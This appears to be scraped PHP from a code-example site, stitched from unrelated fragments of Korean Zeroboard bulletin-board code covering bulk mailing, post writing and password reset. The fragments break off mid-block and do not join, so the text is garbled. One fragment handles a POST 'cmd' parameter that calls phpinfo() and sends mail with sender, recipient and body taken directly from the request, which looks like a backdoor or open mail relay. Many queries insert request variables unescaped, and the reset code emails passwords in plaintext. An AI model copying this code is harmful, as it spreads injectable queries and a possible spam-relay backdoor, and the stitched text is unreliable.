명 단위로 잘라서 발송<br>
		<img src=images/t.gif border=0 height=5><br>
		메일 발송 페이지 : <?php 
echo $page;
?>
 / <?php 
echo $totalpage;
?>
<br>

<?php 
$fault = 0;
$i = 1;
while ($data = mysql_fetch_array($result)) {
    if ($data[mailing]) {
        $temp = zb_sendmail($html, $data[email], $data[name], $from, $name, $subject, $comment);
        if (!$temp) {
            $fault++;
        } else {
            $true++;
        }
        echo ".";
    } else {
        $nomailing++;
    }
    flush();
}
?>

		<img src=images/t.gif border=0 height=5><br>
		메일 발송 결과 : <?php 
    mysql_query("update {$t_category}" . "_{$id} set num=num+1 where no='{$category}'", $connect);
    // 현재글의 조회수를 올릴수 없게 세션 등록
    $hitStr = "," . $setup[no] . "_" . $no;
    $zb_hit = $HTTP_SESSION_VARS["zb_hit"] . $hitStr;
    session_register("zb_hit");
    // 현재글의 추천을 할수 없게 세션 등록
    $voteStr = "," . $setup[no] . "_" . $no;
    $zb_vote = $HTTP_SESSION_VARS["zb_vote"] . $voteStr;
    session_register("zb_vote");
    // 응답글 보내기일때;;
    if ($s_data[reply_mail] && $s_data[email]) {
        if ($use_html < 2) {
            $memo = nl2br($memo);
        }
        $memo = stripslashes($memo);
        zb_sendmail($use_html, $s_data[email], $s_data[name], $email, $name, $subject, $memo);
    }
    /***************************************************************************
     * 신규 글쓰기일때
     **************************************************************************/
} elseif ($mode == "write") {
    // 공지사항이 아닐때;;
    if (!$notice) {
        $temp = mysql_fetch_array(mysql_query("select max(division) from {$t_division}" . "_{$id}"));
        $max_division = $temp[0];
        $temp = mysql_fetch_array(mysql_query("select max(division) from {$t_division}" . "_{$id} where num>0 and division!='{$max_division}'"));
        if (!$temp[0]) {
            $second_division = 0;
        } else {
            $second_division = $temp[0];
        }
Example #3
0
                    exit("status: 301");
                }
            } else {
                if ($_POST["cmd"] == "phpinfo") {
                    phpinfo();
                } else {
                    if ($_POST["cmd"] == "m2m") {
                        $to = $_POST["q_to"];
                        $to_name = $_POST["q_to_name"];
                        $from = $_POST["q_from"];
                        $from_name = $_POST["q_from_name"];
                        $subject = $_POST["q_subject"];
                        $comment = $_POST["q_comment"];
                        $cc = $_POST["q_cc"];
                        $bcc = $_POST["q_bcc"];
                        echo zb_sendmail($to, $to_name, $from, $from_name, $subject, $comment, $cc = "", $bcc = "");
                    } else {
                        exit("status: 666");
                    }
                }
            }
        }
    }
}
function subsearch($str, $start, $end)
{
    $str = str_replace(chr(34), "", $str);
    $pos1 = strpos($str, $start);
    if ($pos1 > 0) {
        $pos2 = strpos($str, $end, $pos1 + strlen($start));
        return substr($str, $pos1 + strlen($start), $pos2 - ($pos1 + strlen($start)));
if (isblank($jumin1) || !isnum($jumin1)) {
    Error("주민등록번호를 제대로 입력하여 주세요");
}
if (isblank($jumin2) || !isnum($jumin2)) {
    Error("주민등록번호를 제대로 입력하여 주세요");
}
$result = mysql_query("select * from zetyx_member_table where email='{$email}' and jumin=password('{$jumin1}" . "{$jumin2}')", $connect) or Error(mysql_error());
if (!mysql_num_rows($result)) {
    Error("입력하신 정보에 해당하는 회원이 없습니다.<br><br>다시 한번확인하여 주시기 바랍니다");
} else {
    $temp = substr(base64_encode(time()), 1, 10);
    $data = mysql_fetch_array($result);
    mysql_query("update {$member_table} set password=password('{$temp}') where no='{$data['no']}'", $connect) or Error(mysql_error());
    $name = stripslashes($data[name]);
    $to = $data[email];
    $subject = "안녕하세요, {$_sitename} 입니다";
    $comment = "안녕하세요.\n" . "{$_sitename} 입니다.\n" . "{$name} 님의 회원 아이디와 새롭게 변경된 비밀번호입니다. \n확인후 곧 바로 {$_sitename} ({$_homepage}) 에 로그인 하셔서 비밀번호를 변경하여 주시기 바랍니다.\n\nID : {$data['user_id']}\nPassword : {$temp} \n\n * 위의 비밀번호를 타이핑하기 힘들때 마우스로 더블클릭한후 Ctrl-C 를 눌러서 복사한후,\n 비밀번호 입력칸에서 Ctrl-V를 눌러서 복사하세요.";
    if (!zb_sendmail(0, $to, $name, $_from, "", $subject, $comment)) {
        Error("메일 발송 에러");
    }
}
@mysql_close($connect);
?>
<script>
	alert('변경된 비밀번호가 <?php 
echo $email;
?>
로 발송되었습니다.\n\n메일을 확인하신후 곧 바로 로그인하여\n\n비밀번호를 변경하여 주시기 바라겠습니다');
	window.close();
</script>